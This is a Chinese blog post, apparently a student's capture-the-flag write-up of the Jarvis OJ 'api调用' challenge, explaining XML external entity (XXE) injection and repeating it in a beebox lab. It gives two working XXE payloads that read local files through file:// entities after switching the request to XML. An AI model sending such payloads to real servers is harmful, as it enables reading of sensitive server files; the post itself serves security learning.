[Jarvis OJ]–api调用–XXE漏洞学习笔记

题目地址:http://web.jarvisoj.com:9882/

查看网页源码:

可以看到我们点击go后,以json的形式发送了数据。抓包:

 

我们看到,其实我们输入的内容并没有发送到服务器,而是发送了几个特定的值。

这题的提示是查看flag文件,用到的是XXE漏洞,有几篇原理文章参考一下:

https://security.tencent.com/index.php/blog/msg/69

http://www.freebuf.com/articles/web/126788.html

http://www.mottoin.com/92794.html

XXE漏洞就是服务器接受从客户端发送来的xml格式数据时,xml数据中恶意的引用了外部实体,将它的值绑定为服务器的目标文件,这样在服务器返回给我们解析后的值时,就会把目标文件的内容返回给我们,我们就读取了敏感文件。

但是这道题目,默认的是json格式传递,因此首先我们更改Content-Type的值为application/xml,然后传入xml代码:

<?xml version=”1.0″?>
<!DOCTYPE abcd[
<!ENTITY any SYSTEM "file:///home/ctf/flag.txt">]>

<something>&any;</something>

 

得到flag

为了进一步理解xxe漏洞的使用,我有在beebox测试环境中进行了测试,我在文件/home/bee/ctf/falg.txt中写入了hellowbabyclark,现在的目标是读取到这个文件的内容,打开xxe漏洞测试的首页:

 

点击按钮抓包:

 

可以看出是服务器对<reset><login>的位置的内容解析后返还给浏览器显示,所以我们只要在这个位置写入外部实体引用即可:

<?xml version=”1.0″?>
<!DOCTYPE a[
<!ENTITY xxe SYSTEM “file:///home/bee/ctf/flag.txt”>
]>

<reset><login>&xxe;</login><secret>Any bugs?</secret></reset>

Got it!

 

大概就先学习这么多吧,写到这道xxe漏洞的题目时,微信的XXE漏洞刚刚被报出来,有兴趣的可以看下,xxe部分基本就是这个原理。

后天考数据结构,最后一门啦!!!

 

文章同步到我的博客: http://www.zjzhhb.com/archives/454

转载指明出处

 

评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值